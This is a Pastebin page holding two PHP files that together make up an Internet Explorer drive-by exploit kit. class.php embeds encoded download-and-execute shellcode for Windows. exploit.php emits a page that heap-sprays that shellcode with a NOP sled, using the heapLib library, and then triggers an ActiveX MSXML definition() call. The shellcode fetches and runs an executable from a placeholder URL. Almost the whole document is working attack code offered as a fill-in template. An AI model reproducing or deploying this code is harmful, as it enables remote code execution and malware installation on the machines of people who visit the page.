Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class.php:
- <?php
- class ShellCode {
- function get($url){
- return "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455" . ShellCode::unescape($url);
- }
- function unescape($s){
- $out = "";
- $res = strtoupper(bin2hex($s));
- $g = round(strlen($res) / 4);
- if ($g != (strlen($res) / 4)){
- $res .= "00";
- }
- for ($i = 0; $i < strlen($res); $i+=4){
- $out .= "%u" . substr($res, $i+2, 2) . substr($res, $i, 2);
- }
- return $out;
- }
- }
- ?>
- exploit.php:
- <?php
- echo ("
- <script type=\"text/javascript\">
- function heapLib() {
- }
- heapLib.ie = function(maxAlloc, heapBase) {
- this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
- this.heapBase = (heapBase ? heapBase : 0x150000);
- // Allocate a padding string that uses maxAlloc bytes
- this.paddingStr = \"AAAA\";
- while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
- this.paddingStr += this.paddingStr;
- }
- // Create an array for storing references to allocated memory
- this.mem = new Array();
- // Call flushOleaut32() once to allocate the maximum size blocks
- this.flushOleaut32();
- }
- //
- // Outputs a debugging message in WinDbg. The msg argument must be a string
- // literal. Using string concatenation to build the message will result in heap
- // allocations.
- //
- // Arguments:
- // msg - string to output
- //
- heapLib.ie.prototype.debug = function(msg) {
- void(Math.atan2(0xbabe, msg));
- }
- //
- // Enables or disables logging of heap operations in WinDbg.
- //
- // Arguments:
- // enable - a boolean value, set to true to enable heap logging
- //
- heapLib.ie.prototype.debugHeap = function(enable) {
- if (enable == true)
- void(Math.atan(0xbabe));
- else
- void(Math.asin(0xbabe));
- }
- //
- // Triggers a breakpoint in the debugger.
- //
- heapLib.ie.prototype.debugBreak = function(msg) {
- void(Math.acos(0xbabe));
- }
- //
- // Returns a string of a specified length, up to the maximum allocation size
- // set in the heapLib.ie constructor. The string contains \"A\" characters.
- //
- // Arguments:
- // len - length in characters
- //
- heapLib.ie.prototype.padding = function(len) {
- if (len > this.paddingStr.length)
- throw \"Requested padding string length \" + len + \", only \" + this.paddingStr.length + \" available\";
- return this.paddingStr.substr(0, len);
- }
- //
- // Returns a number rounded up to a specified value.
- //
- // Arguments:
- // num - integer to round
- // round - value to round to
- //
- heapLib.ie.prototype.round = function(num, round) {
- if (round == 0)
- throw \"Round argument cannot be 0\";
- return parseInt((num + (round-1)) / round) * round;
- }
- //
- // Converts an integer to a hex string. This function uses the heap.
- //
- // Arguments:
- // num - integer to convert
- // width - pad the output with zeros to a specified width (optional)
- //
- heapLib.ie.prototype.hex = function(num, width)
- {
- var digits = \"0123456789ABCDEF\";
- var hex = digits.substr(num & 0xF, 1);
- while (num > 0xF) {
- num = num >>> 4;
- hex = digits.substr(num & 0xF, 1) + hex;
- }
- var width = (width ? width : 0);
- while (hex.length < width)
- hex = \"0\" + hex;
- return hex;
- }
- //
- // Convert a 32-bit address to a 4-byte string with the same representation in
- // memory. This function uses the heap.
- //
- // Arguments:
- // addr - integer representation of the address
- //
- heapLib.ie.prototype.addr = function(addr) {
- return unescape(\"%u\" + this.hex(addr & 0xFFFF, 4) + \"%u\" + this.hex((addr >> 16) & 0xFFFF, 4));
- }
- //
- // Allocates a block of a specified size with the OLEAUT32 alloc function.
- //
- // Arguments:
- // arg - size of the new block in bytes, or a string to strdup
- // tag - a tag identifying the memory block (optional)
- //
- heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {
- var size;
- // Calculate the allocation size
- if (typeof arg == \"string\" || arg instanceof String)
- size = 4 + arg.length*2 + 2; // len + string data + null terminator
- else
- size = arg;
- // Make sure that the size is valid
- if ((size & 0xf) != 0)
- throw \"Allocation size \" + size + \" must be a multiple of 16\";
- // Create an array for this tag if doesn't already exist
- if (this.mem[tag] === undefined)
- this.mem[tag] = new Array();
- if (typeof arg == \"string\" || arg instanceof String) {
- // Allocate a new block with strdup of the string argument
- this.mem[tag].push(arg.substr(0, arg.length));
- }
- else {
- // Allocate the block
- this.mem[tag].push(this.padding((arg-6)/2));
- }
- }
- //
- // Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
- // allocator.
- //
- // Arguments:
- // tag - a tag identifying the group of blocks to be freed
- //
- heapLib.ie.prototype.freeOleaut32 = function(tag) {
- delete this.mem[tag];
- // Run the garbage collector
- CollectGarbage();
- }
- //
- // The JScript interpreter uses the OLEAUT32 memory allocator for all string
- // allocations. This allocator stores freed blocks in a cache and reuses them
- // for later allocations. The cache consists of 4 bins, each storing up to 6
- // blocks. Each bin holds blocks of a certain size range:
- //
- // 0 - 32
- // 33 - 64
- // 65 - 256
- // 257 - 32768
- //
- // When a block is freed by the OLEAUT32 free function, it is stored in one of
- // the bins. If the bin is full, the smallest block in the bin is freed with
- // RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
- // bytes are not cached and are freed directly.
- //
- // To flush the cache, we need to free 6 blocks of the maximum size for each
- // bin. The maximum size blocks will push out all smaller blocks from the
- // cache. Then we allocate the maximum size blocks again, leaving the cache
- // empty.
- //
- // You need to call this function once to allocate the maximum size blocks
- // before you can use it to flush the cache.
- //
- heapLib.ie.prototype.flushOleaut32 = function() {
- this.debug(\"Flushing the OLEAUT32 cache\");
- // Free the maximum size blocks and push out all smaller blocks
- this.freeOleaut32(\"oleaut32\");
- // Allocate the maximum sized blocks again, emptying the cache
- for (var i = 0; i < 6; i++) {
- this.allocOleaut32(32, \"oleaut32\");
- this.allocOleaut32(64, \"oleaut32\");
- this.allocOleaut32(256, \"oleaut32\");
- this.allocOleaut32(32768, \"oleaut32\");
- }
- }
- //
- // Allocates a block of a specified size with the system memory allocator. A
- // call to this function is equivalent to a call to HeapAlloc(). If the first
- // argument is a number, it specifies the size of the new block, which is
- // filled with \"A\" characters. If the argument is a string, its data is copied
- // into a new block of size arg.length * 2 + 6. In both cases the size of the
- // new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
- //
- // Arguments:
- // arg - size of the memory block in bytes, or a string to strdup
- // tag - a tag identifying the memory block (optional)
- //
- heapLib.ie.prototype.alloc = function(arg, tag) {
- var size;
- // Calculate the allocation size
- if (typeof arg == \"string\" || arg instanceof String)
- size = 4 + arg.length*2 + 2; // len + string data + null terminator
- else
- size = arg;
- // Make sure that the size is valid
- if (size == 32 || size == 64 || size == 256 || size == 32768)
- throw \"Allocation sizes \" + size + \" cannot be flushed out of the OLEAUT32 cache\";
- // Allocate the block with the OLEAUT32 allocator
- this.allocOleaut32(arg, tag);
- }
- //
- // Frees all memory blocks marked with a specific tag with the system memory
- // allocator. A call to this function is equivalent to a call to HeapFree().
- //
- // Arguments:
- // tag - a tag identifying the group of blocks to be freed
- //
- heapLib.ie.prototype.free = function(tag) {
- // Free the blocks with the OLEAUT32 free function
- this.freeOleaut32(tag);
- // Flush the OLEAUT32 cache
- this.flushOleaut32();
- }
- //
- // Runs the garbage collector and flushes the OLEAUT32 cache. Call this
- // function before before using alloc() and free().
- //
- heapLib.ie.prototype.gc = function() {
- this.debug(\"Running the garbage collector\");
- CollectGarbage();
- this.flushOleaut32();
- }
- //
- // Adds blocks of the specified size to the free list and makes sure they are
- // not coalesced. The heap must be defragmented before calling this function.
- // If the size of the memory blocks is less than 1024, you have to make sure
- // that the lookaside is full.
- //
- // Arguments:
- // arg - size of the new block in bytes, or a string to strdup
- // count - how many free blocks to add to the list (defaults to 1)
- //
- heapLib.ie.prototype.freeList = function(arg, count) {
- var count = (count ? count : 1);
- for (var i = 0; i < count; i++) {
- this.alloc(arg);
- this.alloc(arg, \"freeList\");
- }
- this.alloc(arg);
- this.free(\"freeList\");
- }
- //
- // Add blocks of the specified size to the lookaside. The lookaside must be
- // empty before calling this function.
- //
- // Arguments:
- // arg - size of the new block in bytes, or a string to strdup
- // count - how many blocks to add to the lookaside (defaults to 1)
- //
- heapLib.ie.prototype.lookaside = function(arg, count) {
- var size;
- // Calculate the allocation size
- if (typeof arg == \"string\" || arg instanceof String)
- size = 4 + arg.length*2 + 2; // len + string data + null terminator
- else
- size = arg;
- // Make sure that the size is valid
- if ((size & 0xf) != 0)
- throw \"Allocation size \" + size + \" must be a multiple of 16\";
- if (size+8 >= 1024)
- throw(\"Maximum lookaside block size is 1008 bytes\");
- var count = (count ? count : 1);
- for (var i = 0; i < count; i++)
- this.alloc(arg, \"lookaside\");
- this.free(\"lookaside\");
- }
- //
- // Return the address of the head of the lookaside linked list for blocks of a
- // specified size. Uses the heapBase parameter from the heapLib.ie constructor.
- //
- // Arguments:
- // arg - size of the new block in bytes, or a string to strdup
- //
- heapLib.ie.prototype.lookasideAddr = function(arg)
- {
- var size;
- // Calculate the allocation size
- if (typeof arg == \"string\" || arg instanceof String)
- size = 4 + arg.length*2 + 2; // len + string data + null terminator
- else
- size = arg;
- // Make sure that the size is valid
- if ((size & 0xf) != 0)
- throw \"Allocation size \" + size + \" must be a multiple of 16\";
- if (size+8 >= 1024)
- throw(\"Maximum lookaside block size is 1008 bytes\");
- // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
- // structure for each block size + header size in 8 byte increments.
- return this.heapBase + 0x688 + ((size+8)/8)*48;
- }
- //
- // Returns a fake vtable that contains shellcode. The caller should free the
- // vtable to the lookaside and use the address of the lookaside head as an
- // object pointer. When the vtable is used, the address of the object must be
- // in eax and the pointer to the vtable must be in ecx. Any virtual function
- // call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
- // execution. This function uses the heap.
- //
- // Arguments:
- // shellcode - shellcode string
- // jmpecx - address of a jmp ecx or equivalent instruction
- // size - size of the vtable to generate (defaults to 1008 bytes)
- //
- heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {
- var size = (size ? size : 1008);
- // Make sure the size is valid
- if ((size & 0xf) != 0)
- throw \"Vtable size \" + size + \" must be a multiple of 16\";
- if (shellcode.length*2 > size-138)
- throw(\"Maximum shellcode length is \" + (size-138) + \" bytes\");
- // Build the fake vtable that will go on the lookaside list
- //
- // lookaside ptr jmp +124 addr of jmp ecx sub [eax], al*2 shellcode null
- // 4 bytes 4 bytes 124 bytes 4 bytes size-138 bytes 2 bytes
- var vtable = unescape(\"%u9090%u7ceb\") // nop, nop, jmp + 124
- for (var i = 0; i < 124/4; i++)
- vtable += this.addr(jmpecx);
- // If the vtable is the only entry on the lookaside, the first 4 bytes will
- // be 00 00 00 00, which disassembles as two add [eax], al instructions.
- // The jmp ecx trampoline will jump back to the beginning of the vtable and
- // execute the add [eax], al instructions. We need to use two sub [eax], al
- // instructions to fix the heap.
- vtable += unescape(\"%u0028%u0028\") + // two sub [eax], al instructions
- shellcode + heap.padding((size-138)/2 - shellcode.length);
- return vtable;
- }
- </script>\n
- <script>\n
- var heap_obj = new heapLib.ie(0x20000);\n
- var code = unescape(\"" . Shellcode::get("http://example.com/yourfolder/yourfile.exe") . "\");\n
- var nops = unescape(\"" . Shellcode::unescape("\x0c\x0c\x0c\x0c") . "\");\n
- while (nops.length < 0x80000) nops += nops;\n
- var offset = nops.substring(0, 0x800-code.length);\n
- var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n
- while (shellcode.length < 0x40000) shellcode += shellcode;\n
- var block = shellcode.substring(0, (0x80000-6)/2);\n
- heap_obj.gc();\n
- for (var i=1; i < 0xa70; i++) {\n
- heap_obj.alloc(block);\n
- }\n
- </script>\n
- </head>\n
- <body>\n
- <object classid=\"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4\" id=\"elem1\"></object><script>\n
- document.getElementById(\"elem1\").object.definition(201);\n
- </script>\n
- ");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement